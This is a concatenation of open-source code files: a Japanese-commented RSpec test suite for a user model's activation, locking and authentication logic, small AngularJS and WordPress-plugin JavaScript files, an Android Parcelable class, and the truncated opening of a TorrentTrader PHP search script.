11, 1) User.stub!(:activation_lifetime).and_return(2) Time.stub!(:now).and_return(@now) end describe '指定したIDのユーザが存在する場合' do before do @user = create_user(:status => 'UNUSED') end it '未使用ユーザのactivation_tokenに値が入ること' do unused_users, active_users = User.issue_activation_codes([@user.id]) unused_users.first.activation_token.should_not be_nil end it '未使用ユーザのactivation_token_expires_atが48時間後となること' do unused_users, active_users = User.issue_activation_codes([@user.id]) unused_users.first.activation_token_expires_at.should == @now.since(48.hour) end end end describe User, '#activate!' do it 'activation_tokenの値が更新されること' do activation_token = '6df711a1a42d110261cfe759838213143ca3c2ad' u = create_user(:user_options => {:activation_token=> activation_token}, :status => 'UNUSED') u.password = '' lambda do u.activate! end.should change(u, :activation_token).from(activation_token).to(nil) end it 'activation_token_expires_atの値が更新されること' do time = Time.now u = create_user(:user_options => {:activation_token_expires_at => time}, :status => 'UNUSED') u.password = '' lambda do u.activate! end.should change(u, :activation_token_expires_at).from(time).to(nil) end end describe User, '.activation_lifetime' do describe 'activation_lifetimeの設定が3(日)の場合' do before do Admin::Setting.stub!(:activation_lifetime).and_return(3) end it { User.activation_lifetime.should == 3 } end end describe User, '#within_time_limit_of_activation_token' do before do @activation_token_expires_at = Time.local(2008, 11, 1, 0, 0, 0) @activation_token = 'activation_token' end describe 'activation_token_expires_atが期限切れの場合' do before do @user = create_user(:user_options => {:activation_token => @activation_token, :activation_token_expires_at => @activation_token_expires_at }) now = @activation_token_expires_at.since(1.second) Time.stub!(:now).and_return(now) end it 'falseが返ること' do @user.within_time_limit_of_activation_token?.should be_false end end describe 'activation_token_expires_atが期限切れではない場合' do before do @user = create_user(:user_options => {:activation_token => @activation_token, :activation_token_expires_at => @activation_token_expires_at }) now = @activation_token_expires_at.ago(1.second) Time.stub!(:now).and_return(now) end it 'trueが返ること' do @user.within_time_limit_of_activation_token?.should be_true end end end describe User, '.grouped_sections' do before do User.delete_all create_user :user_options => {:email => SkipFaker.email, :section => 'Programmer'}, :user_uid_options => {:uid => SkipFaker.rand_num(6)} create_user :user_options => {:email => SkipFaker.email, :section => 'Programmer'}, :user_uid_options => {:uid => SkipFaker.rand_num(6)} create_user :user_options => {:email => SkipFaker.email, :section => 'Tester'}, :user_uid_options => {:uid => SkipFaker.rand_num(6)} end it {User.grouped_sections.size.should == 2} end describe User, "#find_or_initialize_profiles" do before do @user = new_user @user.save! @masters = (1..3).map{|i| create_user_profile_master(:name => "master#{i}")} @master_1_id = @masters[0].id @master_2_id = @masters[1].id end describe "設定されていないプロフィールがわたってきた場合" do it "新規に作成される" do @user.find_or_initialize_profiles(@master_1_id.to_s => "ほげ").should_not be_empty end it "新規の値が設定される" do @user.find_or_initialize_profiles(@master_1_id.to_s => "ほげ") @user.user_profile_values.each do |values| values.value.should == "ほげ" if values.user_profile_master_id == @master_1_id end end it "保存されていないprofile_valueが返される" do profiles = @user.find_or_initialize_profiles(@master_1_id.to_s => "ほげ") profiles.first.should be_is_a(UserProfileValue) profiles.first.value.should == "ほげ" profiles.first.should be_new_record end end describe "既に存在するプロフィールがわたってきた場合" do before do @user.user_profile_values.create(:user_profile_master_id => @master_1_id, :value => "ふが") end it "上書きされたものが返される" do profiles = @user.find_or_initialize_profiles(@master_1_id.to_s => "ほげ") profiles.first.should be_is_a(UserProfileValue) profiles.first.value.should == "ほげ" profiles.first.should be_changed end end describe "新規の値と保存された値が渡された場合" do before do @user.user_profile_values.create(:user_profile_master_id => @master_1_id, :value => "ふが") @profiles = @user.find_or_initialize_profiles(@master_1_id.to_s => "ほげ", @master_2_id.to_s => "ほげほげ") end it "保存されていたmaster_idが1のvalueは上書きされていること" do @profiles.each do |profile| if profile.user_profile_master_id == @master_1_id profile.value.should == "ほげ" end end end it "新規のmaster_idが2のvalueは新しく作られていること" do @profiles.each do |profile| if profile.user_profile_master_id == @master_2_id profile.value.should == "ほげほげ" end end end end describe "マスタに存在する値がパラメータで送られてこない場合" do before do @user.user_profile_values.create(:user_profile_master_id => @master_1_id, :value => "ほげ") @profiles = @user.find_or_initialize_profiles({}) @profile_hash = @profiles.index_by(&:user_profile_master_id) end it "空が登録されること" do @profile_hash[@master_1_id].value.should == "" end it "マスタの数だけprofile_valuesが返ってくること" do @profiles.size.should == @masters.size end end end describe User, '#group_symbols' do before do @user = create_user @group = create_group(:gid => 'skip_dev') do |g| g.group_participations.build(:user_id => @user.id, :owned => true) end @group_symbols = ['gid:skip_dev'] end describe '1度だけ呼ぶ場合' do it 'ユーザの所属するグループのシンボル配列を返すこと' do @user.group_symbols.should == @group_symbols end end describe '2度呼ぶ場合' do it 'ユーザの所属するグループのシンボル配列を返すこと(2回目はキャッシュされた結果になること)' do @user.group_symbols @user.group_symbols.should == @group_symbols end end end describe User, '#belong_symbols' do before do @user = stub_model(User, :symbol => 'uid:skipuser') @user.should_receive(:group_symbols).once.and_return(['gid:skip_dev']) end describe '1度だけ呼ぶ場合' do it 'ユーザ自身のシンボルとユーザの所属するグループのシンボルを配列で返すこと' do @user.belong_symbols.should == ['uid:skipuser', 'gid:skip_dev'] end end describe '2度呼ぶ場合' do it 'ユーザ自身のシンボルとユーザの所属するグループのシンボルを配列で返すこと(2回目はキャッシュされた結果になること' do @user.belong_symbols @user.belong_symbols.should == ['uid:skipuser', 'gid:skip_dev'] end end end describe User, "#belong_symbols_with_collaboration_apps" do before do SkipEmbedded::InitialSettings['host_and_port'] = 'test.host' SkipEmbedded::InitialSettings['protocol'] = 'http://' @user = stub_model(User, :belong_symbols => ["uid:a_user", "gid:a_group"], :code => "a_user") end describe "SkipEmbedded::InitialSettingsが設定されている場合" do before do SkipEmbedded::InitialSettings["belong_info_apps"] = { 'app' => { "url" => "http://localhost:3100/notes.js", "ca_file" => "hoge/fuga" } } end describe "情報が返ってくる場合" do before do SkipEmbedded::WebServiceUtil.stub!(:open_service_with_url).and_return([{"publication_symbols" => "note:1"}, { "publication_symbols" => "note:4"}]) end it "SKIP内の所属情報を返すこと" do ["uid:a_user", "gid:a_group", Symbol::SYSTEM_ALL_USER].each do |symbol| @user.belong_symbols_with_collaboration_apps.should be_include(symbol) end end it "SkipEmbedded::WebServiceUtilから他のアプリにアクセスすること" do SkipEmbedded::WebServiceUtil.should_receive(:open_service_with_url).with("http://localhost:3100/notes.js", { :user => "http://test.host/id/a_user" }, "hoge/fuga") @user.belong_symbols_with_collaboration_apps end it "連携アプリ内の所属情報を返すこと" do ["note:1"].each do |symbol| @user.belong_symbols_with_collaboration_apps.should be_include(symbol) end end end describe "情報が取得できない場合" do before do SkipEmbedded::WebServiceUtil.stub!(:open_service_with_url) end it "publicが追加されること" do ["uid:a_user", "gid:a_group", Symbol::SYSTEM_ALL_USER, "public"].each do |symbol| @user.belong_symbols_with_collaboration_apps.should be_include(symbol) end end end end describe "SkipEmbedded::InitialSettingsが設定されていない場合" do before do SkipEmbedded::InitialSettings["belong_info_apps"] = {} end it "SKIP内の所属情報を返すこと" do ["uid:a_user", "gid:a_group", Symbol::SYSTEM_ALL_USER, "public"].each do |symbol| @user.belong_symbols_with_collaboration_apps.should be_include(symbol) end end end end describe User, "#openid_identifier" do before do SkipEmbedded::InitialSettings['host_and_port'] = 'test.host' SkipEmbedded::InitialSettings['protocol'] = 'http://' @user = stub_model(User, :code => "a_user") end it "OPとして発行する OpenID identifier を返すこと" do @user.openid_identifier.should == "http://test.host/id/a_user" end it "relative_url_rootが設定されている場合 反映されること" do ActionController::Base.relative_url_root = "/skip" @user.openid_identifier.should == "http://test.host/skip/id/a_user" end after do ActionController::Base.relative_url_root = nil end end describe User, '#to_s_log' do before do @user = stub_model(User, :id => "99", :uid => '999999') end it 'ログに出力する形式に整えられた文字列を返すこと' do @user.to_s_log('message').should == "message: {\"user_id\" => \"#{@user.id}\", \"uid\" => \"#{@user.uid}\"}" end end describe User, '#locked?' do before do @user = stub_model(User) end describe 'ユーザロック機能が有効な場合' do before do Admin::Setting.enable_user_lock = 'true' end describe 'ユーザがロックされている場合' do before do @user.locked = true end it 'ロックされていると判定されること' do @user.locked?.should be_true end end describe 'ユーザがロックされていない場合' do before do @user.locked = false end it 'ロックされていないと判定されること' do @user.locked?.should be_false end end end describe 'ユーザロック機能が無効な場合' do before do Admin::Setting.enable_user_lock = 'false' end describe 'ユーザがロックされている場合' do before do @user.locked = true end it 'ロックされていると判定されること' do @user.locked?.should be_true end end describe 'ユーザがロックされていない場合' do before do @user.locked = false end it 'ロックされていないと判定されること' do @user.locked?.should be_false end end end end describe User, '#within_time_limit_of_password?' do before do @user = stub_model(User) end describe 'パスワード変更強制機能が有効な場合' do before do Admin::Setting.enable_password_periodic_change = 'true' end describe 'パスワードの有効期限切れ日が設定されている場合' do before do @user.password_expires_at = Time.local(2009, 3, 1, 0, 0, 0) end describe 'パスワード有効期限切れの場合' do before do now = Time.local(2009, 3, 1, 0, 0, 1) Time.stub!(:now).and_return(now) end it 'パスワード有効期限切れと判定されること' do @user.within_time_limit_of_password?.should be_false end end describe 'パスワード有効期限内の場合' do before do now = Time.local(2009, 3, 1, 0, 0, 0) Time.stub!(:now).and_return(now) end it 'パスワード有効期限内と判定されること' do @user.within_time_limit_of_password?.should be_true end end end describe 'パスワードの有効期限切れ日が設定されていない場合' do before do @user.password_expires_at = nil end it 'パスワード有効期限切れと判定されること' do @user.within_time_limit_of_password?.should be_nil end end end describe 'パスワード変更強制機能が無効な場合' do before do Admin::Setting.enable_password_periodic_change = 'false' end it 'パスワード有効期限内と判定されること' do @user.within_time_limit_of_password?.should be_true end end end describe User, '.synchronize_users' do describe '二人の利用中のユーザと一人の退職ユーザと一人の未使用ユーザが存在する場合' do before do User.delete_all SkipEmbedded::InitialSettings['host_and_port'] = 'localhost:3000' SkipEmbedded::InitialSettings['protocol'] = 'http://' @bob = create_user :user_options => {:name => 'ボブ', :admin => false}, :user_uid_options => {:uid => 'boob'} @alice = create_user :user_options => {:name => 'アリス', :admin => true}, :user_uid_options => {:uid => 'alice'} @carol = create_user :user_options => {:name => 'キャロル', :admin => false}, :user_uid_options => {:uid => 'carol'}, :status => 'RETIRED' @michael = create_user :user_options => { :name => "マイケル", :admin => false }, :user_uid_options => { :uid => 'michael' }, :status => "UNUSED" @users = User.synchronize_users @bob_attr, @alice_attr, @carol_attr, @michael_attr = @users end it '4件のユーザ同期情報を取得できること' do @users.size.should == 4 end it 'ボブの情報が正しく設定されていること' do @bob_attr.should == ['http://localhost:3000/id/boob', 'boob', 'ボブ', false, false] end it 'アリスの情報が正しく設定されていること' do @alice_attr.should == ['http://localhost:3000/id/alice', 'alice', 'アリス', true, false] end it 'キャロルの情報が正しく設定されていること' do @carol_attr.should == ['http://localhost:3000/id/carol', 'carol', 'キャロル', false, true] end it "マイケルの情報が正しく設定されていること" do @michael_attr.should == ["http://localhost:3000/id/michael", 'michael', "マイケル", false, false] end describe 'ボブが4分59秒前に更新、アリスが5分前に更新、キャロル, マイケルが5分1秒前に更新されており、5分以内に更新があったユーザのみ取得する場合' do before do Time.stub!(:now).and_return(Time.local(2009, 6, 2, 0, 0, 0)) User.record_timestamps = false @bob.update_attribute(:updated_on, Time.local(2009, 6, 1, 23, 54, 59)) @alice.update_attribute(:updated_on, Time.local(2009, 6, 1, 23, 55, 0)) @carol.update_attribute(:updated_on, Time.local(2009, 6, 1, 23, 55, 1)) @michael.update_attribute(:updated_on, Time.local(2009, 6, 1, 23, 55, 1)) @users = User.synchronize_users 5 @alice_attr, @carol_attr, @michael_attr = @users end it '3件のユーザ同期情報を取得できること' do @users.size.should == 3 end it 'アリスの情報が正しく設定されていること' do @alice_attr.should == ['http://localhost:3000/id/alice', 'alice', 'アリス', true, false] end it 'キャロルの情報が正しく設定されていること' do @carol_attr.should == ['http://localhost:3000/id/carol', 'carol', 'キャロル', false, true] end it "マイケルの情報が正しく設定されていること" do @michael_attr.should == ["http://localhost:3000/id/michael", 'michael', "マイケル", false, false] end after do User.record_timestamps = true end end end end describe User, "#custom" do it "関連するuser_customが存在するユーザの場合、そのuser_customが返る" do user = create_user custom = user.create_user_custom(:theme => "green", :editor_mode => "hiki") user.custom.should == custom end it "関連するuser_customが存在しないユーザの場合、新規のuser_customが取得返る" do user = create_user user.custom.should be_is_a(UserCustom) user.custom.should be_new_record end end describe User, '#participating_groups?' do before do @user = stub_model(User, :id => 99) @group = create_group end describe '指定したユーザがグループ参加者(参加済み)の場合' do before do group_participation = create_group_participation(:user_id => @user.id, :group_id => @group.id) end it 'trueが返ること' do @user.participating_group?(@group).should be_true end end describe '指定したユーザがグループ参加者(参加待ち)の場合' do before do group_participation = create_group_participation(:user_id => @user.id, :group_id => @group.id, :waiting => true) end it 'falseが返ること' do @user.participating_group?(@group).should be_false end end describe '指定したユーザがグループ管理者(参加済み)の場合' do before do group_participation = create_group_participation(:user_id => @user.id, :group_id => @group.id, :waiting => false, :owned => true) end it 'trueが返ること' do @user.participating_group?(@group).should be_true end end describe '指定したユーザがグループ管理者(参加待ち)の場合' do before do group_participation = create_group_participation(:user_id => @user.id, :group_id => @group.id, :waiting => true, :owned => true) end it 'falseが返ること' do @user.participating_group?(@group).should be_false end end describe '指定したユーザがグループ未参加者の場合' do before do group_participation = create_group_participation(:user_id => @user.id + 1, :group_id => @group.id) end it 'falseが返ること' do @user.participating_group?(@group).should be_false end end describe 'Group以外の場合' do it 'ArgumentErrorとなること' do lambda { @user.participating_group?(nil) }.should raise_error(ArgumentError) end end end describe User, 'password_required?' do before do @user = new_user end describe 'パスワードモードの場合' do before do SkipEmbedded::InitialSettings['login_mode'] = 'password' end describe 'パスワードが空の場合' do before do @user.password = '' end describe 'ユーザが利用中の場合' do before do @user.status = 'ACTIVE' end describe 'crypted_passwordが空の場合' do before do @user.crypted_password = '' end it '必要(true)と判定されること' do @user.send(:password_required?).should be_true end end describe 'crypted_passwordが空ではない場合' do before do @user.crypted_password = 'password' end it '必要ではない(false)と判定されること' do @user.send(:password_required?).should be_false end end end describe 'ユーザが利用中ではない場合' do before do @user.status = 'UNUSED' end it '必要ではない(false)と判定されること' do @user.send(:password_required?).should be_false end end end describe 'パスワードが空ではない場合' do before do @user.password = 'Password1' end it '必要(true)と判定されること' do @user.send(:password_required?).should be_true end end end describe 'パスワードモード以外の場合' do before do SkipEmbedded::InitialSettings['login_mode'] = 'rp' end it '必要ではない(false)と判定されること' do @user.send(:password_required?).should be_false end end end describe User, '.find_by_code_or_email_with_key_phrase' do before do @user = stub_model(User) User.stub!(:find_by_code_or_email).and_return(@user) end describe 'ログインキーフレーズが有効な場合' do before do Admin::Setting.should_receive(:enable_login_keyphrase).and_return(true) Admin::Setting.should_receive(:login_keyphrase).and_return('key_phrase') end describe 'ログインキーフレーズが設定値と一致する場合' do before do @key_phrase = 'key_phrase' end it 'ログインIDまたはemailで検索した結果が返ること' do User.send(:find_by_code_or_email_with_key_phrase, 'code_or_email', @key_phrase).should == @user end end describe 'ログインキーフレーズが設定値と一致しない場合' do before do @key_phrase = 'invalid_key_phrase' end it 'nilが返ること' do User.send(:find_by_code_or_email_with_key_phrase, 'code_or_email', @key_phrase).should be_nil end end end describe 'ログインキーフレーズが無効な場合' do before do Admin::Setting.should_receive(:enable_login_keyphrase).and_return(false) end it 'ログインIDまたはemailで検索した結果が返ること' do User.send(:find_by_code_or_email_with_key_phrase, 'code_or_email', @key_phrase).should == @user end end end describe User, '.find_by_code_or_email' do describe 'ログインIDに一致するユーザが見つかる場合' do before do @user = mock_model(User) User.should_receive(:find_by_code).and_return(@user) end it '見つかったユーザが返ること' do User.send(:find_by_code_or_email, 'login_id').should == @user end end describe 'ログインIDに一致するユーザが見つからない場合' do before do @user = mock_model(User) User.should_receive(:find_by_code).and_return(nil) end describe 'メールアドレスに一致するユーザが見つかる場合' do before do User.should_receive(:find_by_email).and_return(@user) end it '見つかったユーザが返ること' do User.send(:find_by_code_or_email, 'skip@example.org').should == @user end end describe 'メールアドレスに一致するユーザが見つからない場合' do before do User.should_receive(:find_by_email).and_return(nil) end it 'nilが返ること' do User.send(:find_by_code_or_email, 'skip@example.org').should be_nil end end end end describe User, '.auth_successed' do before do @user = create_user end it "検索されたユーザが返ること" do User.send(:auth_successed, @user).should == @user end describe 'ユーザがロックされている場合' do before do @user.should_receive(:locked?).and_return(true) end it 'last_authenticated_atが変化しないこと' do lambda do User.send(:auth_successed, @user) end.should_not change(@user, :last_authenticated_at) end it 'ログイン試行回数が変化しないこと' do lambda do User.send(:auth_successed, @user) end.should_not change(@user, :trial_num) end end describe 'ユーザがロックされていない場合' do before do @user.trial_num = 2 end it "last_authenticated_atが現在時刻に設定されること" do time = Time.now Time.stub!(:now).and_return(time) lambda do User.send(:auth_successed, @user) end.should change(@user, :last_authenticated_at).to(time) end it 'ログイン試行回数が0になること' do lambda do User.send(:auth_successed, @user) end.should change(@user, :trial_num).to(0) end end end describe User, '.auth_failed' do before do @user = create_user end it 'nilが返ること' do User.send(:auth_failed, @user).should be_nil end describe 'ユーザがロックされていない場合' do before do @user.should_receive(:locked?).and_return(false) end describe 'ログイン試行回数が最大値未満の場合' do before do @user.trial_num = 2 Admin::Setting.user_lock_trial_limit = 3 end describe 'ユーザロック機能が有効な場合' do before do Admin::Setting.enable_user_lock = 'true' end it 'ログイン試行回数が1増加すること' do lambda do User.send(:auth_failed, @user) end.should change(@user, :trial_num).to(3) end end describe 'ユーザロック機能が無効な場合' do before do Admin::Setting.enable_user_lock = 'false' end it 'ログイン試行回数が変化しないこと' do lambda do User.send(:auth_failed, @user) end.should_not change(@user, :trial_num) end end end describe 'ログイン試行回数が最大値以上の場合' do before do @user.trial_num = 3 Admin::Setting.user_lock_trial_limit = 3 end describe 'ユーザロック機能が有効な場合' do before do Admin::Setting.enable_user_lock = 'true' end it 'ロックされること' do lambda do User.send(:auth_failed, @user) end.should change(@user, :locked).to(true) end it 'ロックした旨のログが出力されること' do @user.should_receive(:to_s_log).with('[User Locked]').and_return('user locked log') @user.logger.should_receive(:info).with('user locked log') User.send(:auth_failed, @user) end end describe 'ユーザロック機能が無効な場合' do before do Admin::Setting.enable_user_lock = 'false' end it 'ロック状態が変化しないこと' do lambda do User.send(:auth_failed, @user) end.should_not change(@user, :locked) end it 'ロックした旨のログが出力されないこと' do @user.stub!(:to_s_log).with('[User Locked]').and_return('user locked log') @user.logger.should_not_receive(:info).with('user locked log') User.send(:auth_failed, @user) end end end end describe 'ユーザがロックされている場合' do before do @user.should_receive(:locked?).and_return(true) end it 'ログイン試行回数が変化しないこと' do lambda do User.send(:auth_failed, @user) end.should_not change(@user, :trial_num) end it 'ロック状態が変化しないこと' do lambda do User.send(:auth_failed, @user) end.should_not change(@user, :locked) end it 'ロックした旨のログが出力されないこと' do @user.stub!(:to_s_log).with('[User Locked]').and_return('user locked log') @user.logger.should_not_receive(:info).with('user locked log') User.send(:auth_failed, @user) end end end def new_user options = {} User.new({ :name => 'ほげ ほげ', :password => 'Password1', :password_confirmation => 'Password1', :email => SkipFaker.email, :section => 'Tester',}.merge(options)) end
openskip/skip
spec/models/user_spec.rb
Ruby
gpl-3.0
52,460
angular.module('starter.controllers') .controller('HistoryCtrl', function($scope) { $scope.history = [ { label: "Today, 10am-11am", min: 60, max: 87}, { label: "Today, 9am-10am", min: 62, max: 76}, { label: "Today, 8am-9am", min: 55, max: 79}, { label: "Yesterday, 10pm-11pm", min: 66, max: 83}, { label: "Yesterday, 6pm-7pm", min: 62, max: 91}, { label: "Yesterday, 5m-6pm", min: 54, max: 82}, { label: "Yesterday, 10am-11pm", min: 62, max: 97}, { label: "Yesterday, 9am-10pm", min: 64, max: 79}, ]; $scope.history.forEach(function(entry) { if (entry.max > 95) { entry.bgCol = "red"; entry.fgCol = "white"; entry.weight = "bold"; } else if( entry.max > 85) { entry.bgCol = "orange"; entry.fgCol = "white"; entry.weight = "bold"; } else { entry.bgCol = "white"; entry.fgCol = "black"; entry.weight = "normal"; } }); });
JBeaudaux/JBeaudaux.github.io
OpenHeart/js/history.js
JavaScript
gpl-3.0
987
const editor = require('./form-editor/form-editor.js') const fields = require('./form-editor/fields.js') const settings = require('./settings') const notices = {} function show (id, text) { notices[id] = text render() } function hide (id) { delete notices[id] render() } function render () { let html = '' for (const key in notices) { html += '<div class="notice notice-warning inline"><p>' + notices[key] + '</p></div>' } let container = document.querySelector('.mc4wp-notices') if (!container) { container = document.createElement('div') container.className = 'mc4wp-notices' const heading = document.querySelector('h1, h2') heading.parentNode.insertBefore(container, heading.nextSibling) } container.innerHTML = html } const groupingsNotice = function () { const text = 'Your form contains deprecated <code>GROUPINGS</code> fields. <br /><br />Please remove these fields from your form and then re-add them through the available field buttons to make sure your data is getting through to Mailchimp correctly.' const formCode = editor.getValue().toLowerCase(); (formCode.indexOf('name="groupings') > -1) ? show('deprecated_groupings', text) : hide('deprecated_groupings') } const requiredFieldsNotice = function () { const requiredFields = fields.getAllWhere('forceRequired', true) const missingFields = requiredFields.filter(function (f) { return !editor.containsField(f.name.toUpperCase()) }) let text = '<strong>Heads up!</strong> Your form is missing list fields that are required in Mailchimp. Either add these fields to your form or mark them as optional in Mailchimp.' text += '<br /><ul class="ul-square" style="margin-bottom: 0;"><li>' + missingFields.map(function (f) { return f.title }).join('</li><li>') + '</li></ul>'; (missingFields.length > 0) ? show('required_fields_missing', text) : hide('required_fields_missing') } const mailchimpListsNotice = function () { const text = '<strong>Heads up!</strong> You have not yet selected a Mailchimp list to subscribe people to. Please select at least one list from the <a href="javascript:void(0)" data-tab="settings" class="tab-link">settings tab</a>.' if (settings.getSelectedLists().length > 0) { hide('no_lists_selected') } else { show('no_lists_selected', text) } } // old groupings groupingsNotice() editor.on('focus', groupingsNotice) editor.on('blur', groupingsNotice) // missing required fields requiredFieldsNotice() editor.on('blur', requiredFieldsNotice) editor.on('focus', requiredFieldsNotice) document.body.addEventListener('change', mailchimpListsNotice)
ibericode/mailchimp-for-wordpress
assets/src/js/admin/notices.js
JavaScript
gpl-3.0
2,625
package hu.rgai.yako.beens; import java.util.*; import android.os.Parcel; import android.os.Parcelable; /** * * @author Tamas Kojedzinszky */ public class MainServiceExtraParams implements Parcelable { public static final Parcelable.Creator<MainServiceExtraParams> CREATOR = new Parcelable.Creator<MainServiceExtraParams>() { public MainServiceExtraParams createFromParcel(Parcel in) { return new MainServiceExtraParams(in); } public MainServiceExtraParams[] newArray(int size) { return new MainServiceExtraParams[size]; } }; private boolean mFromNotifier = false; private int mQueryLimit = -1; private int mQueryOffset = -1; private boolean mLoadMore = false; private List<Account> mAccounts = new LinkedList<>(); private boolean mForceQuery = false; private int mResult = -1; private boolean mMessagesRemovedAtServer = false; private boolean mSplittedMessageSecondPart = false; private boolean mNewMessageArrivedRequest = false; private TreeMap<String, MessageListElement> mSplittedMessages = new TreeMap<>(); public MainServiceExtraParams() {} public MainServiceExtraParams(Parcel in) { mFromNotifier = in.readByte() == 1; mQueryLimit = in.readInt(); mQueryOffset = in.readInt(); mLoadMore = in.readByte() == 1; in.readList(mAccounts,Account.class.getClassLoader()); mForceQuery = in.readByte() == 1; mResult = in.readInt(); mMessagesRemovedAtServer = in.readByte() == 1; mSplittedMessageSecondPart = in.readByte() == 1; mNewMessageArrivedRequest = in.readByte() == 1; int splittedLength = in.readInt(); for (int i = 0; i < splittedLength; i++) { mSplittedMessages.put(in.readString(), (MessageListElement)in.readParcelable(MessageListElement.class.getClassLoader())); } } public int describeContents() { return 0; } public void writeToParcel(Parcel dest, int flags) { dest.writeByte((byte)(mFromNotifier ? 1 : 0)); dest.writeInt(mQueryLimit); dest.writeInt(mQueryOffset); dest.writeByte((byte) (mLoadMore ? 1 : 0)); dest.writeList(mAccounts); dest.writeByte((byte) (mForceQuery ? 1 : 0)); dest.writeInt(mResult); dest.writeByte((byte) (mMessagesRemovedAtServer ? 1 : 0)); dest.writeByte((byte) (mSplittedMessageSecondPart ? 1 : 0)); dest.writeByte((byte) (mNewMessageArrivedRequest ? 1 : 0)); dest.writeInt(mSplittedMessages.size()); for (Map.Entry<String, MessageListElement> e : mSplittedMessages.entrySet()) { dest.writeString(e.getKey()); dest.writeParcelable(e.getValue(), flags); } } public boolean isFromNotifier() { return mFromNotifier; } public void setFromNotifier(boolean mFromNotifier) { this.mFromNotifier = mFromNotifier; } public int getQueryLimit() { return mQueryLimit; } public void setQueryLimit(int mQueryLimit) { this.mQueryLimit = mQueryLimit; } public int getQueryOffset() { return mQueryOffset; } public void setQueryOffset(int mQueryOffset) { this.mQueryOffset = mQueryOffset; } public boolean isLoadMore() { return mLoadMore; } public void setLoadMore(boolean mLoadMore) { this.mLoadMore = mLoadMore; } public boolean isAccountsEmpty() { return mAccounts.isEmpty(); } public boolean accountsContains(Account acc) { return mAccounts.contains(acc); } public List<Account> getAccounts() { return Collections.unmodifiableList(mAccounts) ; } public void addAccount(Account acc) { this.mAccounts.add(acc); } public void setOnNewMessageArrived(boolean newMessageArrivedRequest) { mNewMessageArrivedRequest = newMessageArrivedRequest; } public boolean isNewMessageArrivedRequest() { return mNewMessageArrivedRequest; } public void setAccount(Account account) { mAccounts.clear(); mAccounts.add(account); } public void setAccounts(List<Account> accounts) { this.mAccounts = accounts; } public boolean isForceQuery() { return mForceQuery; } public void setForceQuery(boolean mForceQuery) { this.mForceQuery = mForceQuery; } public int getResult() { return mResult; } public void setResult(int mResult) { this.mResult = mResult; } public boolean isMessagesRemovedAtServer() { return mMessagesRemovedAtServer; } public void setMessagesRemovedAtServer(boolean mMessagesRemovedAtServer) { this.mMessagesRemovedAtServer = mMessagesRemovedAtServer; } public void setSplittedMessageSecondPart(boolean splittedMessageSecondPart) { mSplittedMessageSecondPart = splittedMessageSecondPart; } public void setSplittedMessages(TreeMap<String, MessageListElement> splittedMessages) { mSplittedMessages = splittedMessages; } public TreeMap<String, MessageListElement> getSplittedMessages() { return mSplittedMessages; } public boolean isSplittedMessageSecondPart() { return mSplittedMessageSecondPart; } @Override public String toString() { String ToString = "MainServiceExtraParams{" + "mFromNotifier=" + mFromNotifier + ", mQueryLimit=" + mQueryLimit + ", mQueryOffset=" + mQueryOffset + ", mLoadMore=" + mLoadMore + ", mAccounts="; for (int i = 0; i < mAccounts.size(); i++) { ToString += mAccounts.get(i) + ", "; } ToString += "mForceQuery=" + mForceQuery + ", mResult=" + mResult + '}'; return ToString; } }
k-kojak/yako
src/hu/rgai/yako/beens/MainServiceExtraParams.java
Java
gpl-3.0
5,416
<? // // TorrentTrader v2.x // This file was last updated: 06/03/2009 by TorrentialStorm // // http://www.torrenttrader.org // // require_once("backend/functions.php"); dbconn(); //check permissions if ($site_config["MEMBERSONLY"]){ loggedinonly(); if($CURUSER["view_torrents"]=="no") show_error_msg("Error","You do not have permission to view torrents",1); } function sqlwildcardesc($x){ return str_replace(array("%","_"), array("\\%","\\_"), mysql_real_escape_string($x)); } //GET SEARCH STRING $searchstr = trim(unesc($_GET["search"])); $cleansearchstr = searchfield($searchstr); if (empty($cleansearchstr)) unset($cleansearchstr); $thisurl = "torrents-search.php?"; $addparam = ""; $wherea = array(); $wherecatina = array(); $wherea[] = "banned = 'no'"; $wherecatina = array(); $wherecatin = ""; $res = mysql_query("SELECT id FROM categories"); while($row = mysql_fetch_assoc($res)){ if ($_GET["c$row[id]"]) { $wherecatina[] = $row[id]; $addparam .= "c$row[id]=1&amp;"; $addparam .= "c$row[id]=1&amp;"; $thisurl .= "c$row[id]=1&amp;"; } $wherecatin = implode(", ", $wherecatina); } if ($wherecatin) $wherea[] = "category IN ($wherecatin)"; //include dead if ($_GET["incldead"] == 1) { $addparam .= "incldead=1&amp;"; $thisurl .= "incldead=1&"; }elseif ($_GET["incldead"] == 2){ $wherea[] = "visible = 'no'"; $addparam .= "incldead=2&amp;"; $thisurl .= "incldead=2&"; }else $wherea[] = "visible = 'yes'"; // Include freeleech if ($_GET["freeleech"] == 1) { $addparam .= "freeleech=1&amp;"; $thisurl .= "freeleech=1&amp;"; $wherea[] = "freeleech = '0'"; } elseif ($_GET["freeleech"] == 2) { $addparam .= "freeleech=2&amp;"; $thisurl .= "freeleech=2&amp;"; $wherea[] = "freeleech = '1'"; } //include external if ($_GET["inclexternal"] == 1) { $addparam .= "inclexternal=1&amp;"; $wherea[] = "external = 'no'"; } if ($_GET["inclexternal"] == 2) { $addparam .= "inclexternal=2&amp;"; $wherea[] = "external = 'yes'"; } //cat if ($_GET["cat"]) { $wherea[] = "category = " . sqlesc($_GET["cat"]); $wherecatina[] = sqlesc($_GET["cat"]); $addparam .= "cat=" . urlencode($_GET["cat"]) . "&amp;"; $thisurl .= "cat=".urlencode($_GET["cat"])."&"; } //language if ($_GET["lang"]) { $wherea[] = "torrentlang = " . sqlesc($_GET["lang"]); $addparam .= "lang=" . urlencode($_GET["lang"]) . "&amp;"; $thisurl .= "lang=".urlencode($_GET["lang"])."&"; } //parent cat if ($_GET["parent_cat"]) { $addparam .= "parent_cat=" . urlencode($_GET["parent_cat"]) . "&amp;"; $thisurl .= "parent_cat=".urlencode($_GET["parent_cat"])."&"; } $parent_cat = $_GET["parent_cat"]; $wherebase = $wherea; if (isset($cleansearchstr)) { $wherea[] = "MATCH (torrents.name) AGAINST ('".mysql_real_escape_string($searchstr)."' IN BOOLEAN MODE)"; $addparam .= "search=" . urlencode($searchstr) . "&amp;"; $thisurl .= "search=".urlencode($searchstr)."&"; } //order by if ($_GET['sort'] && $_GET['order']) { $column = ''; $ascdesc = ''; switch($_GET['sort']) { case 'id': $column = "id"; break; case 'name': $column = "name"; break; case 'comments': $column = "comments"; break; case 'size': $column = "size"; break; case 'times_completed': $column = "times_completed"; break; case 'seeders': $column = "seeders"; break; case 'leechers': $column = "leechers"; break; case 'category': $column = "category"; break; default: $column = "id"; break; } switch($_GET['order']) { case 'asc': $ascdesc = "ASC"; break; case 'desc': $ascdesc = 